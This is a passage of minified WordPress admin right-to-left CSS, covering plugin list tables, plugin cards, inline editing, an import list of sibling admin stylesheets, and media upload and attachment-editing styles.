input[name=mn]{vertical-align:middle;text-align:center;padding:0 4px}.inline-edit-row fieldset label input.inline-edit-password-input{width:8em}#bulk-titles-list,#bulk-titles-list li,.inline-edit-row fieldset ul.cat-checklist input,.inline-edit-row fieldset ul.cat-checklist li{margin:0;position:relative}.inline-edit-row fieldset ul.cat-checklist input{margin-top:-1px;margin-right:3px}.inline-edit-row fieldset label input.inline-edit-menu-order-input{width:3em}.inline-edit-row fieldset label input.inline-edit-slug-input{width:75%}.inline-edit-row #post_parent,.inline-edit-row select[name=page_template]{max-width:80%}.quick-edit-row-post fieldset label.inline-edit-status{float:right}#bulk-titles,ul.cat-checklist{height:14em;border:1px solid #ddd;margin:0 0 5px;padding:.2em 5px;overflow-y:scroll}ul.cat-checklist input[name="post_category[]"]:indeterminate::before{content:'';border-top:2px solid grey;width:65%;height:2px;position:absolute;top:calc(50% + 1px);right:50%;transform:translate(50%,-50%)}#bulk-titles .ntdelbutton,#bulk-titles .ntdeltitle,.inline-edit-row fieldset ul.cat-checklist label{display:inline-block;margin:0;padding:3px 0;line-height:20px;vertical-align:top}#bulk-titles .ntdelitem{padding-right:23px}#bulk-titles .ntdelbutton{width:26px;height:26px;margin:0 -26px 0 0;text-align:center;border-radius:3px}#bulk-titles .ntdelbutton:before{display:inline-block;vertical-align:top}#bulk-titles .ntdelbutton:focus{box-shadow:0 0 0 2px #3582c4;outline:2px solid transparent;outline-offset:0}.plugins tbody,.plugins tbody th.check-column{padding:8px 2px 0 0}.plugins tbody th.check-column input[type=checkbox]{margin-top:4px}.updates-table .plugin-title p{margin-top:0}.plugins .inactive th.check-column,.plugins tfoot td.check-column,.plugins thead td.check-column{padding-right:6px}.plugins,.plugins td,.plugins th{color:#000}.plugins tr{background:#fff}.plugins p{margin:0 4px;padding:0}.plugins .desc p{margin:0 0 8px}.plugins td.desc{line-height:1.5}.plugins .desc ol,.plugins .desc ul{margin:0 2em 0 0}.plugins .desc ul{list-style-type:disc}.plugins .row-actions{font-size:13px;padding:0}.plugins .active td,.plugins .active th,.plugins .inactive td,.plugins .inactive th{padding:10px 9px}.plugins .active td,.plugins .active th{background-color:#f0f6fc}.plugins .update td,.plugins .update th{border-bottom:0}.plugin-install #the-list td,.plugins .active td,.plugins .active th,.plugins .inactive td,.plugins .inactive th,.upgrade .plugins td,.upgrade .plugins th{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugins tr.active+tr.inactive td,.plugins tr.active+tr.inactive th,.plugins tr.active.plugin-update-tr+tr.inactive td,.plugins tr.active.plugin-update-tr+tr.inactive th{border-top:1px solid rgba(0,0,0,.03);box-shadow:inset 0 1px 0 rgba(0,0,0,.02),inset 0 -1px 0 #dcdcde}.plugins .update td,.plugins .update th,.plugins .updated td,.plugins .updated th,.plugins tr.active+tr.inactive.update td,.plugins tr.active+tr.inactive.update th,.plugins tr.active+tr.inactive.updated td,.plugins tr.active+tr.inactive.updated th,.upgrade .plugins tr:last-of-type td,.upgrade .plugins tr:last-of-type th{box-shadow:none}.plugin-update-tr.active td,.plugins .active th.check-column{border-right:4px solid #72aee6}.wp-list-table.plugins .plugin-title,.wp-list-table.plugins .theme-title{padding-left:12px;white-space:nowrap}.plugins .plugin-title .dashicons,.plugins .plugin-title img{float:right;padding:0 0 0 10px;width:64px;height:64px}.plugins .plugin-title .dashicons:before{padding:2px;background-color:#f0f0f1;box-shadow:inset 0 0 10px rgba(167,170,173,.15);font-size:60px;color:#c3c4c7}#update-themes-table .plugin-title .dashicons,#update-themes-table .plugin-title img{width:85px}.plugins .column-auto-updates{width:14.2em}.plugins .inactive .plugin-title strong{font-weight:400}.plugins .row-actions,.plugins .second{padding:0 0 5px}.plugins .row-actions{white-space:normal;min-width:12em}.plugins .update .row-actions,.plugins .update .second,.plugins .updated .row-actions,.plugins .updated .second{padding-bottom:0}.plugins-php .widefat tfoot td,.plugins-php .widefat tfoot th{border-top-style:solid;border-top-width:1px}.plugins .plugin-update-tr .plugin-update{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1);overflow:hidden;padding:0}.plugins .plugin-update-tr .notice,.plugins .plugin-update-tr div[class=update-message]{margin:5px 40px 15px 20px}.plugins .notice p{margin:.5em 0}.plugins .plugin-description a,.plugins .plugin-update a,.updates-table .plugin-title a{text-decoration:underline}.plugins tr.paused th.check-column{border-right:4px solid #b32d2e}.plugins tr.paused td,.plugins tr.paused th{background-color:#f6f7f7}.plugins .paused .dashicons-warning,.plugins tr.paused .plugin-title{color:#b32d2e}.plugins .paused .error-display code,.plugins .paused .error-display p{font-size:90%;color:rgba(0,0,0,.7)}.plugins .resume-link{color:#b32d2e}.plugin-card .update-now:before{color:#d63638;content:"\f463";display:inline-block;font:normal 20px/1 dashicons;margin:-3px -2px 0 5px;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:middle}.plugin-card .updating-message:before{content:"\f463";animation:rotation 2s infinite linear}@keyframes rotation{0%{transform:rotate(0)}100%{transform:rotate(-359deg)}}.plugin-card .updated-message:before{color:#68de7c;content:"\f147"}.plugin-install-php #the-list{display:flex;flex-wrap:wrap}.plugin-install-php .plugin-card{display:flex;flex-direction:column;justify-content:space-between}.plugin-install-php h2{clear:both}.plugin-install-php h3{margin:2.5em 0 8px}.plugin-install-php .wp-filter{margin-bottom:0}.plugin-group{overflow:hidden;margin-top:1.5em}.plugin-group h3{margin-top:0}.plugin-card{float:right;margin:0 8px 16px;width:48.5%;width:calc(50% - 8px);background-color:#fff;border:1px solid #dcdcde;box-sizing:border-box}.plugin-card:nth-child(odd){clear:both;margin-right:0}.plugin-card:nth-child(2n){margin-left:0}@media screen and (min-width:1600px) and (max-width:2299px){.plugin-card{width:30%;width:calc(33.1% - 8px)}.plugin-card:nth-child(odd){clear:none;margin-right:8px}.plugin-card:nth-child(2n){margin-left:8px}.plugin-card:nth-child(3n+1){clear:both;margin-right:0}.plugin-card:nth-child(3n){margin-left:0}}@media screen and (min-width:2300px){.plugin-card{width:25%;width:calc(25% - 12px)}.plugin-card:nth-child(odd){clear:none;margin-right:8px}.plugin-card:nth-child(2n){margin-left:8px}.plugin-card:nth-child(4n+1){clear:both;margin-right:0}.plugin-card:nth-child(4n){margin-left:0}}.plugin-card-top{position:relative;padding:20px 20px 10px;min-height:135px}.plugin-action-buttons,div.action-links{margin:0}.plugin-card h3{margin:0 0 12px 12px;font-size:18px;line-height:1.3}.plugin-card .desc{margin-inline:0}.plugin-card .desc>p,.plugin-card .name{margin-right:148px}@media (min-width:1101px){.plugin-card .desc>p,.plugin-card .name{margin-left:128px}}@media (min-width:481px) and (max-width:781px){.plugin-card .desc>p,.plugin-card .name{margin-left:128px}}.plugin-card .column-description{display:flex;flex-direction:column;justify-content:flex-start}.plugin-card .column-description>p{margin-top:0}.plugin-card .column-description p:empty{display:none}.plugin-card .notice.plugin-dependencies{margin:auto 20px 20px;padding:15px}.plugin-card .plugin-dependencies-explainer-text{margin-block:0}.plugin-card .plugin-dependency{align-items:center;display:flex;flex-wrap:wrap;margin-top:.5em;column-gap:1%;row-gap:.5em}.plugin-card .plugin-dependency:last-child,.plugin-card .plugin-dependency:nth-child(2){margin-top:1em}.plugin-card .plugin-dependency-name{flex-basis:74%}.plugin-card .plugin-dependency .more-details-link{margin-right:auto}.rtl .plugin-card .plugin-dependency .more-details-link{margin-left:auto}@media (max-width:939px){.plugin-card .plugin-dependency-name{flex-basis:69%}}.plugins #the-list .required-by,.plugins #the-list .requires{margin-top:1em}.plugin-card .action-links{position:absolute;top:20px;left:20px;width:120px}.plugin-action-buttons{clear:left;float:left;margin-bottom:1em;text-align:left}.plugin-action-buttons li{margin-bottom:10px}.plugin-card-bottom{clear:both;padding:12px 20px;background-color:#f6f7f7;border-top:1px solid #dcdcde;overflow:hidden}.plugin-card-bottom .star-rating{display:inline}.plugin-card-update-failed .update-now{font-weight:600}.plugin-card-update-failed .notice-error{margin:0;padding-right:16px;box-shadow:0 -1px 0 #dcdcde}.plugin-card-update-failed .plugin-card-bottom{display:none}.plugin-card .column-rating{line-height:1.76923076}.plugin-card .column-rating,.plugin-card .column-updated{margin-bottom:4px}.plugin-card .column-downloaded,.plugin-card .column-rating{float:right;clear:right;max-width:180px}.plugin-card .column-compatibility,.plugin-card .column-updated{text-align:left;float:left;clear:left;width:65%;width:calc(100% - 180px)}.plugin-card .column-compatibility span:before{font:normal 20px/.5 dashicons;speak:never;display:inline-block;padding:0;top:4px;right:-2px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#3c434a}.plugin-card .column-compatibility .compatibility-incompatible:before{content:"\f158";color:#d63638}.plugin-card .column-compatibility .compatibility-compatible:before{content:"\f147";color:#007017}.plugin-card .notice{margin:20px 20px 0}.plugin-icon{position:absolute;top:20px;right:20px;width:128px;height:128px;margin:0 0 20px 20px}.no-plugin-results{color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0 0;width:100%;text-align:center}.wp-list-table .site-archived,.wp-list-table .site-deleted,.wp-list-table tr.site-archived,.wp-list-table tr.site-deleted{background:#fcf0f1}.wp-list-table .site-mature,.wp-list-table .site-spammed,.wp-list-table tr.site-mature,.wp-list-table tr.site-spammed{background:#fcf9e8}.sites.fixed .column-lastupdated,.sites.fixed .column-registered{width:20%}.sites.fixed .column-users{width:80px}@media screen and (max-width:1100px) and (min-width:782px),(max-width:480px){.plugin-card .action-links{position:static;margin-right:148px;width:auto}.plugin-action-buttons{float:none;margin:1em 0 0;text-align:right}.plugin-action-buttons li{display:inline-block;vertical-align:middle}.plugin-action-buttons li .button{margin-left:20px}.plugin-card h3{margin-left:24px}.plugin-card .desc,.plugin-card .name{margin-left:0}.plugin-card .desc p:first-of-type{margin-top:0}}@media screen and (max-width:782px){.tablenav{height:auto}.tablenav.top{margin:20px 0 5px}.tablenav.bottom{position:relative;margin-top:15px}.tablenav br{display:none}.tablenav br.clear{display:block}.tablenav .view-switch,.tablenav.top .actions{display:none}.view-switch a{width:36px;height:36px;line-height:2.53846153}.tablenav.top .displaying-num{display:none}.tablenav.bottom .displaying-num{position:absolute;left:0;top:11px;margin:0;font-size:14px}.tablenav .tablenav-pages{width:100%;text-align:center;margin:0 0 25px}.tablenav.bottom .tablenav-pages{margin-top:25px}.tablenav.top .tablenav-pages.one-page{display:none}.tablenav.bottom .actions select{margin-bottom:5px}.tablenav.bottom .actions.alignleft+.actions.alignleft{clear:right;margin-top:10px}.tablenav.bottom .tablenav-pages.one-page{margin-top:15px;height:0}.tablenav-pages .pagination-links{font-size:16px}.tablenav .tablenav-pages .button,.tablenav .tablenav-pages .tablenav-pages-navspan{min-width:44px;padding:12px 8px;font-size:18px;line-height:1}.tablenav-pages .pagination-links .current-page{min-width:44px;padding:12px 6px;font-size:16px;line-height:1.125}.form-wrap>p{display:none}.wp-list-table th.column-primary~th,.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary~td:not(.check-column){display:none}.wp-list-table thead th.column-primary{width:100%}.wp-list-table tr th.check-column{display:table-cell}.wp-list-table .check-column{width:2.5em}.wp-list-table .column-primary .toggle-row{display:block}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column){position:relative;clear:both;width:auto!important}.wp-list-table td.column-primary{padding-left:50px}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary~td:not(.check-column){padding:3px 35% 3px 8px}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before{position:absolute;right:10px;display:block;overflow:hidden;width:32%;content:attr(data-colname);white-space:nowrap;text-overflow:ellipsis}.wp-list-table .is-expanded td:not(.hidden){display:block!important;overflow:hidden}.column-posts,.widefat .num{text-align:right}#comments-form .fixed .column-author,#commentsdiv .fixed .column-author{display:none!important}.fixed .column-comment .comment-author{display:block}.fixed .column-author.hidden~.column-comment .comment-author{display:none}#the-comment-list .is-expanded td{box-shadow:none}#the-comment-list .is-expanded td:last-child{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.post-com-count .screen-reader-text{position:static;-webkit-clip-path:none;clip-path:none;width:auto;height:auto;margin:0}.column-comments .post-com-count-approved:after,.column-comments .post-com-count-no-comments:after,.column-response .post-com-count-approved:after,.column-response .post-com-count-no-comments:after{content:none}.column-comments .post-com-count [aria-hidden=true],.column-response .post-com-count [aria-hidden=true]{display:none}.column-comments .post-com-count-wrapper,.column-response .post-com-count-wrapper{white-space:normal}.column-comments .post-com-count-wrapper>a,.column-response .post-com-count-wrapper>a{display:block}.column-comments .post-com-count-approved,.column-comments .post-com-count-no-comments,.column-response .post-com-count-approved,.column-response .post-com-count-no-comments{margin-top:0;margin-left:.5em}.column-comments .post-com-count-pending,.column-response .post-com-count-pending{position:static;height:auto;min-width:0;padding:0;border:none;border-radius:0;background:0 0;color:#b32d2e;font-size:inherit;line-height:inherit;text-align:right}.column-comments .post-com-count-pending:hover,.column-response .post-com-count-pending:hover{color:#d63638}.widefat tfoot td.check-column,.widefat thead td.check-column{padding-top:10px}.row-actions{margin-right:-8px;margin-left:-8px;padding-top:4px}body:not(.plugins-php) .row-actions{display:flex;flex-wrap:wrap;gap:8px;color:transparent}.row-actions span .button-link,.row-actions span a{display:inline-block;padding:4px 8px;line-height:1.5}.row-actions span.approve:before,.row-actions span.unapprove:before{content:"| "}#wpbody-content .bulk-edit-row .inline-edit-col-bottom,#wpbody-content .bulk-edit-row .inline-edit-col-left,#wpbody-content .bulk-edit-row-page .inline-edit-col-right,#wpbody-content .bulk-edit-row-post .inline-edit-col-right,#wpbody-content .inline-edit-row-post .inline-edit-col-center,#wpbody-content .quick-edit-row-page .inline-edit-col-left,#wpbody-content .quick-edit-row-page .inline-edit-col-right,#wpbody-content .quick-edit-row-post .inline-edit-col-left,#wpbody-content .quick-edit-row-post .inline-edit-col-right{float:none;width:100%;padding:0}#the-list .inline-edit-row .inline-edit-legend,.inline-edit-row span.title{font-size:16px}.inline-edit-row p.howto{font-size:14px}#wpbody-content .inline-edit-row-page .inline-edit-col-right{margin-top:0}#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,#wpbody-content .bulk-edit-row fieldset .inline-edit-group label,#wpbody-content .quick-edit-row fieldset .inline-edit-col label,#wpbody-content .quick-edit-row fieldset .inline-edit-group label{max-width:none;float:none;margin-bottom:5px}#wpbody .bulk-edit-row fieldset select{display:block;width:100%;max-width:none;box-sizing:border-box}.inline-edit-row fieldset input[name=aa],.inline-edit-row fieldset input[name=hh],.inline-edit-row fieldset input[name=jj],.inline-edit-row fieldset input[name=mn]{font-size:16px;line-height:2;padding:3px 4px}#bulk-titles .ntdelbutton,#bulk-titles .ntdeltitle,.inline-edit-row fieldset ul.cat-checklist label{padding:6px 0;font-size:16px;line-height:28px}#bulk-titles .ntdelitem{padding-right:37px}#bulk-titles .ntdelbutton{width:40px;height:40px;margin:0 -40px 0 0;overflow:hidden}#bulk-titles .ntdelbutton:before{font-size:20px;line-height:28px}.inline-edit-row fieldset label span.title,.inline-edit-row fieldset.inline-edit-date legend{float:none}.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags{padding:0}.inline-edit-row fieldset .timestamp-wrap,.inline-edit-row fieldset label span.input-text-wrap{margin-right:0}.inline-edit-row .inline-edit-or{margin:0 0 0 6px}#commentsdiv #edithead .inside,#edithead .inside{float:none;text-align:right;padding:3px 5px}#commentsdiv #edithead .inside input,#edithead .inside input{width:100%}#edithead label{display:block}#wpbody-content .updates-table .plugin-title{width:auto;white-space:normal}.link-manager-php #posts-filter{margin-top:25px}.link-manager-php .tablenav.bottom{overflow:hidden}.comments-box .toggle-row,.wp-list-table.plugins .toggle-row{display:none}#wpbody-content .wp-list-table.plugins td{display:block;width:auto;padding:10px 9px}#wpbody-content .wp-list-table.plugins .no-items td,#wpbody-content .wp-list-table.plugins .plugin-deleted-tr td{display:table-cell}#wpbody-content .wp-list-table.plugins .desc.hidden{display:none}#wpbody-content .wp-list-table.plugins .column-description{padding-top:2px}#wpbody-content .wp-list-table.plugins .plugin-title,#wpbody-content .wp-list-table.plugins .theme-title{padding-left:12px;white-space:normal}.wp-list-table.plugins .plugin-title,.wp-list-table.plugins .theme-title{padding-top:13px;padding-bottom:4px}.plugins #the-list .update td,.plugins #the-list .update th,.plugins #the-list tr>td:not(:last-child),.wp-list-table.plugins #the-list .theme-title{box-shadow:none;border-top:none}.plugins #the-list tr td{border-top:none}.plugins tbody{padding:1px 0 0}.plugins .plugin-update-tr:before,.plugins tr.active+tr.inactive td.column-description,.plugins tr.active+tr.inactive th.check-column{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugins tr.active+tr.inactive td,.plugins tr.active+tr.inactive th.check-column{border-top:none}.plugins .plugin-update-tr:before{content:"";display:table-cell}.plugins #the-list .plugin-update-tr .plugin-update{border-right:none}.plugin-update-tr .update-message{margin-right:0}.plugins .active.update+.plugin-update-tr:before,.plugins .active.updated+.plugin-update-tr:before{background-color:#f0f6fc;border-right:4px solid #72aee6}.plugins .plugin-update-tr .update-message{margin-right:0}.wp-list-table.plugins .plugin-title strong,.wp-list-table.plugins .theme-title strong{font-size:1.4em;line-height:1.5}.plugins tbody th.check-column{padding:8px 5px 0 0}.plugins .inactive th.check-column,.plugins tfoot td.check-column,.plugins thead td.check-column{padding-right:9px}table.plugin-install .column-description,table.plugin-install .column-name,table.plugin-install .column-rating,table.plugin-install .column-version{display:block;width:auto}table.plugin-install th.column-description,table.plugin-install th.column-name,table.plugin-install th.column-rating,table.plugin-install th.column-version{display:none}table.plugin-install td.column-name strong{font-size:1.4em;line-height:1.6em}table.plugin-install #the-list td{box-shadow:none}table.plugin-install #the-list tr{display:block;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugin-card{margin-right:0;margin-left:0;width:100%}table.media .column-title .has-media-icon~.row-actions{margin-right:0;clear:both}}@media screen and (max-width:480px){.tablenav-pages .current-page{margin:0}.tablenav.bottom .displaying-num{position:relative;top:0;display:block;text-align:left;padding-bottom:.5em}.tablenav.bottom .tablenav-pages.one-page{height:auto}.tablenav-pages .tablenav-paging-text{float:right;width:100%;padding-top:.5em}}/*! This file is auto-generated */
@import url(common-rtl.min.css);
@import url(forms-rtl.min.css);
@import url(admin-menu-rtl.min.css);
@import url(dashboard-rtl.min.css);
@import url(list-tables-rtl.min.css);
@import url(edit-rtl.min.css);
@import url(revisions-rtl.min.css);
@import url(media-rtl.min.css);
@import url(themes-rtl.min.css);
@import url(about-rtl.min.css);
@import url(nav-menus-rtl.min.css);
@import url(widgets-rtl.min.css);
@import url(site-icon-rtl.min.css);
@import url(l10n-rtl.min.css);
@import url(site-health-rtl.min.css);
/*! This file is auto-generated */
.media-item .describe{border-collapse:collapse;width:100%;border-top:1px solid #dcdcde;clear:both;cursor:default}.media-item.media-blank .describe{border:0}.media-item .describe th{vertical-align:top;text-align:right;padding:5px 10px 10px;width:140px}.media-item .describe .align th{padding-top:0}.media-item .media-item-info tr{background-color:transparent}.media-item .describe td{padding:0 0 8px 8px;vertical-align:top}.media-item thead.media-item-info td{padding:4px 10px 0}.media-item .media-item-info .A1B1{padding:0 10px 0 0}.media-item td.savesend{padding-bottom:15px}.media-item .thumbnail{max-height:128px;max-width:128px}.media-list-subtitle{display:block}.media-list-title{display:block}#wpbody-content #async-upload-wrap a{display:none}.media-upload-form{margin-top:20px}.media-upload-form td label{margin-left:6px;margin-right:2px}.media-upload-form .align .field label{display:inline;padding:0 23px 0 0;margin:0 3px 0 1em;font-weight:600}.media-upload-form tr.image-size label{margin:0 5px 0 0;font-weight:600}.media-upload-form th.label label{font-weight:600;margin:.5em;font-size:13px}.media-upload-form th.label label span{padding:0 5px}.media-item .describe input[type=text],.media-item .describe textarea{width:460px}.media-item .describe p.help{margin:0;padding:0 5px 0 0}.describe-toggle-off,.describe-toggle-on{display:block;line-height:2.76923076;float:left;margin-left:10px}.media-item-wrapper{display:grid;grid-template-columns:1fr 1fr}.media-item .attachment-tools{display:flex;justify-content:flex-end;align-items:center}.media-item .edit-attachment{padding:14px 0;display:block;margin-left:10px}.media-item .edit-attachment.copy-to-clipboard-container{display:flex;margin-top:0}.media-item-copy-container .success{line-height:0}.media-item button .copy-attachment-url{margin-top:14px}.media-item .copy-to-clipboard-container{margin-top:7px}.media-item .describe-toggle-off,.media-item.open .describe-toggle-on{display:none}.media-item.open .describe-toggle-off{display:block}.media-upload-form .media-item{min-height:70px;margin-bottom:1px;position:relative;width:100%;background:#fff}.media-upload-form .media-item,.media-upload-form .media-item .error{box-shadow:0 1px 0 #dcdcde}#media-items:empty{border:0 none}.media-item .filename{padding:14px 0;overflow:hidden;margin-right:6px}.media-item .pinkynail{float:right;margin:0 0 0 10px;max-height:70px;max-width:70px}.media-item .startclosed,.media-item .startopen{display:none}.media-item .original{position:relative;min-height:34px}.media-item .progress{float:left;height:22px;margin:7px 6px;width:200px;line-height:2em;padding:0;overflow:hidden;border-radius:22px;background:#dcdcde;box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.media-item .bar{z-index:9;width:0;height:100%;margin-top:-22px;border-radius:22px;background-color:#2271b1;box-shadow:inset 0 0 2px rgba(0,0,0,.3)}.media-item .progress .percent{z-index:10;position:relative;width:200px;padding:0;color:#fff;text-align:center;line-height:22px;font-weight:400;text-shadow:0 1px 2px rgba(0,0,0,.2)}.upload-php .fixed .column-parent{width:15%}.js .html-uploader #plupload-upload-ui{display:none}.js .html-uploader #html-upload-ui{display:block}#html-upload-ui #async-upload{font-size:1em}.media-upload-form .media-item .error,.media-upload-form .media-item.error{width:auto;margin:0 0 1px}.media-upload-form .media-item .error{padding:10px 14px 10px 0;min-height:50px}.media-item .error-div button.dismiss{float:left;margin:0 15px 0 10px}.find-box{background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);width:600px;overflow:hidden;margin-right:-300px;position:fixed;top:30px;bottom:30px;right:50%;z-index:100105}.find-box-head{background:#fff;border-bottom:1px solid #dcdcde;height:36px;font-size:18px;font-weight:600;line-height:2;padding:0 16px 0 36px;position:absolute;top:0;right:0;left:0}.find-box-inside{overflow:auto;padding:16px;background-color:#fff;position:absolute;top:37px;bottom:45px;overflow-y:scroll;width:100%;box-sizing:border-box}.find-box-search{padding-bottom:16px}.find-box-search .spinner{float:none;right:105px;position:absolute}#find-posts-response,.find-box-search{position:relative}#find-posts-input,#find-posts-search{float:right}#find-posts-input{width:140px;height:28px;margin:0 0 0 4px}.widefat .found-radio{padding-left:0;width:16px}#find-posts-close{width:36px;height:36px;border:none;padding:0;position:absolute;top:0;left:0;cursor:pointer;text-align:center;background:0 0;color:#646970}#find-posts-close:focus,#find-posts-close:hover{color:#135e96}#find-posts-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}#find-posts-close:before{font:normal 20px/36px dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f158"}.find-box-buttons{padding:8px 16px;background:#fff;border-top:1px solid #dcdcde;position:absolute;bottom:0;right:0;left:0}@media screen and (max-width:782px){.find-box-inside{bottom:57px}}@media screen and (max-width:660px){.find-box{top:0;bottom:0;right:0;left:0;margin:0;width:100%}}.ui-find-overlay{position:fixed;top:0;right:0;left:0;bottom:0;background:#000;opacity:.7;z-index:100100}.drag-drop #drag-drop-area{border:4px dashed #c3c4c7;height:200px}.drag-drop .drag-drop-inside{margin:60px auto 0;width:250px}.drag-drop-inside p{font-size:14px;margin:5px 0;display:none}.drag-drop .drag-drop-inside p{text-align:center}.drag-drop-inside p.drag-drop-info{font-size:20px}.drag-drop .drag-drop-inside p,.drag-drop-inside p.drag-drop-buttons{display:block}.drag-drop.drag-over #drag-drop-area{border-color:#9ec2e6}#plupload-upload-ui{position:relative}.post-type-attachment .wp-filter select{margin:0 0 0 6px}.media-frame.mode-grid,.media-frame.mode-grid .attachments-browser.has-load-more .attachments-wrapper,.media-frame.mode-grid .attachments-browser:not(.has-load-more) .attachments,.media-frame.mode-grid .media-frame-content,.media-frame.mode-grid .uploader-inline-content{position:static}.media-frame.mode-grid .media-frame-menu,.media-frame.mode-grid .media-frame-router,.media-frame.mode-grid .media-frame-title{display:none}.media-frame.mode-grid .media-frame-content{background-color:transparent;border:none}.upload-php .mode-grid .media-sidebar{position:relative;width:auto;margin-top:12px;padding:0 16px;border-right:4px solid #d63638;box-shadow:0 1px 1px 0 rgba(0,0,0,.1);background-color:#fff}.upload-php .mode-grid .hide-sidebar .media-sidebar{display:none}.upload-php .mode-grid .media-sidebar .media-uploader-status{border-bottom:none;padding-bottom:0;max-width:100%}.upload-php .mode-grid .media-sidebar .upload-error{margin:12px 0;padding:4px 0 0;border:none;box-shadow:none;background:0 0}.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2{display:none}.media-frame.mode-grid .uploader-inline{position:relative;top:auto;left:auto;right:auto;bottom:auto;padding-top:0;margin-top:20px;border:4px dashed #c3c4c7}.media-frame.mode-select .attachments-browser.fixed:not(.has-load-more) .attachments,.media-frame.mode-select .attachments-browser.has-load-more.fixed .attachments-wrapper{position:relative;top:94px;padding-bottom:94px}.media-frame.mode-grid .attachment.details:focus,.media-frame.mode-grid .attachment:focus,.media-frame.mode-grid .selected.attachment:focus{box-shadow:inset 0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-6px}.media-frame.mode-grid .selected.attachment{box-shadow:inset 0 0 0 5px #f0f0f1,inset 0 0 0 7px #c3c4c7}.media-frame.mode-grid .attachment.details{box-shadow:inset 0 0 0 3px #f0f0f1,inset 0 0 0 7px #4f94d4}.media-frame.mode-grid.mode-select .attachment .thumbnail{opacity:.65}.media-frame.mode-select .attachment.selected .thumbnail{opacity:1}.media-frame.mode-grid .media-toolbar{margin-bottom:15px;height:auto}.media-frame.mode-grid .media-toolbar select{margin:0 0 0 10px}.media-frame.mode-grid.mode-edit .media-toolbar-secondary>.select-mode-toggle-button{margin:0 0 0 8px;vertical-align:middle}.media-frame.mode-grid .attachments-browser .bulk-select{display:inline-block;margin:0 0 0 10px}.media-frame.mode-grid .search{margin-top:0}.media-frame-content .media-search-input-label{margin:0 0 0 .2em;vertical-align:baseline}.media-frame.mode-grid .media-search-input-label{position:static;margin:0 0 0 .5em}.attachments-browser .media-toolbar-secondary>.media-button{margin-left:10px}.media-frame.mode-select .attachments-browser.fixed .media-toolbar{position:fixed;top:32px;right:auto;left:20px;margin-top:0}.media-frame.mode-grid .attachments-browser{padding:0}.media-frame.mode-grid .attachments-browser .attachments{padding:2px}.media-frame.mode-grid .attachments-browser .no-media{color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0 0;text-align:center}.edit-attachment-frame{display:block;height:100%;width:100%}.edit-attachment-frame .edit-media-header{overflow:hidden}.upload-php .media-modal-close .media-modal-icon:before{content:"\f335";font-size:22px}.edit-attachment-frame .edit-media-header .left,.edit-attachment-frame .edit-media-header .right,.upload-php .media-modal-close{cursor:pointer;color:#787c82;background-color:transparent;height:50px;width:50px;padding:0;position:absolute;text-align:center;border:0;border-right:1px solid #dcdcde;transition:color .1s ease-in-out,background .1s ease-in-out}.upload-php .media-modal-close{top:0;left:0}.edit-attachment-frame .edit-media-header .left{left:102px}.edit-attachment-frame .edit-media-header .right{left:51px}.edit-attachment-frame .media-frame-title{right:0;left:150px}.edit-attachment-frame .edit-media-header .left:before,.edit-attachment-frame .edit-media-header .right:before{font:normal 20px/50px dashicons!important;display:inline;font-weight:300}.edit-attachment-frame .edit-media-header .left:focus,.edit-attachment-frame .edit-media-header .left:hover,.edit-attachment-frame .edit-media-header .right:focus,.edit-attachment-frame .edit-media-header .right:hover,.upload-php .media-modal-close:focus,.upload-php .media-modal-close:hover{background:#dcdcde;border-color:#c3c4c7;color:#000;outline:0;box-shadow:none}.edit-attachment-frame .edit-media-header .left:focus,.edit-attachment-frame .edit-media-header .right:focus,.upload-php .media-modal-close:focus{outline:2px solid transparent;outline-offset:-2px}.upload-php .media-modal-close:focus .media-modal-icon:before,.upload-php .media-modal-close:hover .media-modal-icon:before{color:#000}.edit-attachment-frame .edit-media-header .left:before{content:"\f345"}.edit-attachment-frame .edit-media-header .right:before{content:"\f341"}.edit-attachment-frame .edit-media-header [disabled],.edit-attachment-frame .edit-media-header [disabled]:hover{color:#c3c4c7;background:inherit;cursor:default}.edit-attachment-frame .media-frame-content,.edit-attachment-frame .media-frame-router{right:0}.edit-attachment-frame .media-frame-content{border-bottom:none;bottom:0;top:50px}.edit-attachment-frame .attachment-details{position:absolute;overflow:auto;top:0;bottom:0;left:0;right:0;box-shadow:inset 0 4px 4px -4px rgba(0,0,0,.1)}.edit-attachment-frame .attachment-media-view{float:right;width:65%;height:100%}.edit-attachment-frame .attachment-media-view .thumbnail{box-sizing:border-box;padding:16px;height:100%}.edit-attachment-frame .attachment-media-view .details-image{display:block;margin:0 auto 16px;max-width:100%;max-height:90%;max-height:calc(100% - 42px);background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}.edit-attachment-frame .attachment-media-view .details-image.icon{background:0 0}.edit-attachment-frame .attachment-media-view .attachment-actions{text-align:center}.edit-attachment-frame .wp-media-wrapper{margin-bottom:12px}.edit-attachment-frame input,.edit-attachment-frame textarea{padding:4px 8px;line-height:1.42857143}.edit-attachment-frame .attachment-info{overflow:auto;box-sizing:border-box;margin-bottom:0;padding:12px 16px 0;width:35%;height:100%;box-shadow:inset 0 4px 4px -4px rgba(0,0,0,.1);border-bottom:0;border-right:1px 